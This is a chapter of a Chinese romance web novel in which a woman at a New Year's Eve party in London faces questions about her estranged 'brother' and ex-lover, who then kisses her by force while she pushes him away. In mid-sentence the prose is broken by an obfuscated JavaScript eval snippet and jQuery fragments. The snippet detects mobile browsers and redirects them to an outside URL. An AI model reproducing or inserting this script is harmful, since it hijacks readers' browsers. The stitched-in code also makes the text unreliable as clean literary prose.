跨年倒计时。
聚会的后半程没人再转动酒瓶，全是围绕着戚许开展的真心话。
问他失语症是怎么康复的，手语难不难学，好端端地怎么得了失语症。
戚许没有保留，和盘托出。
姜莱麻木的听着，身体像憋掉的气球，头脑完全空白。
小男友一会一句“OMG”,靠在朱莉的怀里给戚许竖大拇指：“戚，你有这份毅力，做什么都会成功的。”
朱莉把小男友安抚在一旁，手肘撑在桌上，兴致很高：“不能说话会不会影响日常生活？”
明明是再正常不过的问题，姜莱却总觉得怪怪的。
朱莉朝着她挑眉，分明是意有所指。
戚许无所察觉般，笑着：“还好。”
朱莉性格一向奔放，意识到自己的问法过于含蓄，干脆不装了：“在床上也没有影响吗？”
“朱莉！”
就知道朱莉没安什么好心，姜莱急忙出声制止，就差直接上去捂嘴了。
朱莉笑嘻嘻地往后面躲，拉住一旁看戏的陈卓：“阿卓，你说，你好不好奇？”
陈卓根本不敢看姜莱，更不敢看戚许，点头又摇头，像发条坏掉的机械玩偶。
“人类要保持好奇心啊。”
戚许动作停下来，瞥了眼姜莱，似笑非笑：“这个问题的评判标准是什么？”
“当然是喘.息咯，你不知道吗，男人的声音也是春.药，女人很喜欢的。”朱莉看向姜莱，“姜，我说得对吗？”
姜莱的脸轰地一下红了。
过往的亲密中，戚许覆于耳边时的轻喘，呢喃似发出单音“乖”“棒”，会哄着她张开再张开，最后时刻会叫她的名字，廿廿。
他的声音的确好听，每一次都能让她面红耳赤。
“大概要问我的前女友。”戚许沉笑，长指慢慢摩挲着杯子边缘，“但我想她应该是喜欢的。”
朱莉“哇哦”一声，陈卓闹了个大红脸：“别问这么露骨的问题了。”
“害羞什么，大家都是成年人啦，更劲爆的还没问呢。”
小男友扒着朱莉的胳膊，绿油油的眼睛看向姜莱：“姜，到你了，你是怎么和徐走到一起的？”
朱莉拍他一巴掌：“你是小朋友吗，问得这么保守？”
“那问什么？到几垒了吗？”
姜莱来不及作出反应，身旁传来“啪”地一声脆响，玻璃杯摔落在地，四分五裂。
戚许站起身：“不好意思，手滑。”
说着，就要伸手去捡。
碎玻璃崩得到处都是，姜莱生怕他旧伤未好再添新伤，让他不要动，自己跑去厨房拿扫帚。
三下五除二收拾好，碎玻璃用几层塑料袋把碎包好，缠上了胶带，写上“碎玻璃危险”的字样，丢进了垃圾桶。
又从橱柜里拿出一个新杯子，坐回桌边，推到戚许手边。
小男友穷追不舍：“姜，你说说，伦敦这么多华人，你怎么对徐有了好感？”
不再是露骨的问题，姜莱不好再回避。
姜莱对徐嘉杰有好感的瞬间，大概要追溯到三年前。
她搬来新公寓一段时间，附近总是徘徊着几个流浪汉，喝了酒就逮着路过的女性骚扰。
姜莱被跟踪过几次，吓得魂都飞了，有一次被一个满脸胡子的流浪汉堵住，绝望之际，巷子外传来男人的怒斥声。
流浪汉落荒而逃，她捂着受伤的手腕走出来时，看到正在报警的徐嘉杰。
那一瞬间，不感动是假的。
小男友捂着嘴：“天啊，英雄救美，太浪漫了！”
又是“啪”地一声响，是戚许的杯子磕在桌面发出的动静。
姜莱有点不乐意，低声提醒：“你小心点，没有多余的杯子给你用了。”
戚许脸上没了笑意：“只是因为这个原因吗？”
姜莱顿了顿，看不太懂戚许此时的眼神，还是平静地问：“不可以吗？”
徐嘉杰给予了她太多太多，事无巨细，对她的追求更是穷追猛打。她念着徐嘉杰的好和救命之恩，鬼使神差地答应了试一试。
始终安静地趴着的徐嘉杰，忽地抬起头，狭长的眼尾泛起红意，视线飘忽地落在戚许的身上。
“哥，你是不是做了什么不可原谅的事，才被女朋友抛弃了？”
戚许身体向后倾，靠向椅背，撩起眼皮多看了徐嘉杰：“我也很好奇，到底是怎么回事。”
姜莱如坐针毡，分分钟想要逃离。
一双冷感的大手贴在她额上：“你的温度有点高，要不要去休息会儿？”
做哥哥的总是这样。
能轻易洞悉妹妹的表情变化，妥帖的提醒，再给出最好的解决方案。
她还不能这么快进入角色。
姜莱神经高度戒备，霍地起身，动静之大，连半睡不睡的小男友都坐了起来：“怎么了，是倒计时了吗？”
“你们玩，我去给你们拿毯子。”
几乎是落荒而逃。
她冲进卧室，一把合上门，身体顺着门板滑坐在地，抱膝埋头，企图逃避现实。
戚许的话一字一句地往脑袋里凿。
“复健并不容易，要一遍遍重历事故经过，进度会很慢。”
“手语不难，老师很有耐心，只是学手语的人不多，沟通仍旧吃力。”
“我算是因祸得福，因为刺激不能说话，又因为刺激重新说话。”
……
姜莱不知道他后来受了什么刺激，总归不会是好的经历。
他们错过的四年像一道时空裂缝，无论塞进去多少东西，都无法填补那份空缺。
他们已经走向了截然不同的路，没必要反复回头确认曾经。
不知过了多久，窗外传来此起彼伏的叫喊声，她看眼墙上的时间，距离零点跨年只剩五分钟。
她连忙从衣柜里抱出几条毛毯，开门走出卧室。不知道谁关了灯，整个客厅黑洞洞的，唯有外边微微月色勉强照明。
她猜测是他们中的某个人睡着了才关掉了灯，所以没有贸然开灯。
这间公寓她住了三年多，所有家具摆放的位置都一清二楚，按照记忆的路线走向沙发边。
她喝了些酒，方向感并不如清醒的时候好，脚步略显踉跄，不知道谁把抱枕丢在了地上，她一脚踩上去，脚下一滑，差点踩空。
好在她反应够快，及时抓住了沙发扶手，可身体依旧被惯性拽着往前爹，双腿直接跪在了地毯上。
她紧抿着唇，小心翼翼地借力想要站起来。
下一瞬，发现了不对劲。
她抓住的不是沙发。
五指扣住的明显不是绵软的织物，是微微起伏的块垒分明的躯体，因为受到突袭的缘故，呼吸节奏微微一滞，肌肉绷得更紧。
短暂的慌乱并未消失，迅速转化成了另一种手足无措。
和记忆中的触感并不同。
从前清瘦的骨架，如今被时间悄然填上一层匀停的肌理，像静默积蓄力量的坡地。
“妹妹？”
低沉的声音从头顶传来，带着被压抑过的的平稳，比平时更沙哑一分。
一道微弱的光，照过来，姜莱条件反射闭上眼睛。
戚许用手机打光。
姜莱再睁开眼睛看到了戚许。
戚许从沙发上坐起来，身上的黑色毛衣略显凌乱，露出平直的锁骨，浅色的眼睛带着些许疲惫，错愕地看着她。
“摔疼了？”
不问还好，一问，积压许久的委屈，在这一刻突然倾泻。
她感觉很糟糕，所有的事情都很糟糕。
不论是寄居在戚家的三年，还是异国他乡的四年，始终被过去牵绊，哪怕她已经很努力往前迈一步。
身后还是有一条线紧紧地牵着她。
以前是李滢雪，现在是戚许。
她眼泪默默地往下掉，一颗一颗地滚落，落在怀里的毛毯上。
戚许坐在那，看着她哭泣，轻轻叹
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406618|200543||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
口气。
好半晌，蹲下来，握住她的腿。
姜莱任由他握着，也不知道挣扎，眼睛红通通地。
他将她的裤子卷上去，白皙纤长的小腿露出来，膝盖上红了一片，有轻微的渗血，摔得不轻。
“怎么这么不小心？”
姜莱垂着头：“你为什么要出现在我面前？”
戚许抿唇不说话。
姜莱又问：“明明我已经不要你了，为什么还要出现呢？”
眼泪掉得更凶。
戚许弯腰，揽住她的腰将人抱到沙发上，轻轻放下：“医药箱放在哪了？”
他的表情冷静得过分，仿佛没听到似的，根本不回答她的问题。
姜莱深深吸口气，执拗地问：“为什么呢？”
戚许视线凝聚在她的鼻子上，那里有一颗很小的浅褐色的痣。
她曾不止一次说，像是他的眼睛，停留在上面。
“医药箱。”
两个人各问各的。
姜莱缓过神来，抹掉脸上的泪，盯着地上抱枕，思考了几秒。
“在电视柜下边。”
她不是小孩子了，不该执着于没有答案的问题。
短短几天，受伤的和擦药的，对调了身份。
戚许蹲下身时，眉头几不可察地蹙了一下，酒精棉球触上伤口的瞬间，她疼得小腿猛地一缩，倒吸一口凉气。
“别动。”他的声音很低，带着命令式的口吻，握住她脚踝的手微微用力，“下次记得照明。”
“你不怪我吗？”
“我是你的哥哥，”戚许挑眉，“被妹妹抓了一下还不至于生气。”
“况且，我们之间，只有你发脾气的份。”
“你应该怪我的，是我不要你了，哪怕你现在出现在我面前，我也不会再要你了。”
窗外的尖叫声、欢呼声与倒计时的呐喊，像潮水般一波波涌来，穿透玻璃，塞满了房间的每个角落。
“十！九！八！”
世界在集体狂欢，沸腾的声浪几乎要掀翻屋顶。
而他们所在这间屋内，时间却像被无形的手按下了缓速键。
他半跪在她面前的姿势一直未变，她的脚踝仍被他握在手中，消毒水的气味在两人之间弥漫。
“二！一！”
“新年快乐——！！！”
巨大的声浪轰然炸开，烟花在远处天际绽开隐约的绚丽光芒，映得窗子忽明忽暗。
这时，她才发现整个客厅只有他们两个人，另外四个人都不在，不知道什么时候已经离开了。
屋内没开主灯，只有手机发出的淡白色的光，将他深邃的轮廓勾勒得半明半暗，窗外明明灭灭的光彩掠过他的眼眸。
下一瞬，姜莱眼前一暗，戚许的身影笼罩下来，一只手扣住她的后颈，指腹抵着发根，泛着凉意的唇毫无征兆地贴了过来。
她的大脑空白了半秒，等回过神来，他已经撬开了她的齿关，舌尖带着一种近乎蛮横的纠缠。
他的呼吸喷在她脸上，灼热而急促，劈头盖脸地淹没她。
身体比意识先一步记起，记起曾经如何沉溺，记起曾经如何回应，记起那些被亲吻到浑身发软忘记呼吸的夜晚。
熟悉远比侵略更让她恐惧。
姜莱手掌抵住他的胸口，用力推，他们体力悬殊，撼动不了分毫。她偏开头逃，他的吻紧追上来，沿着她嘴角、脸颊、下颌，再重新擒获她的唇。
他的身体紧贴着她，压得她喘不过气，防线在一点点崩塌，像被潮水反复冲刷的沙堡。
不，不能这样。
姜莱逐渐恢复清明，用仅存的理智，狠狠地咬了下去，唇齿间顿时漫开一丝血腥味。
戚许终于放开她的唇，却并未退远，额头抵着她的额头，鼻尖擦着鼻尖，呼吸粗重地交缠在一起。
他移开些距离，拇指轻轻擦过她唇角的血痕，缓缓开口，声音哑得不像话。
“明明被抛下的是我，你为什么哭？”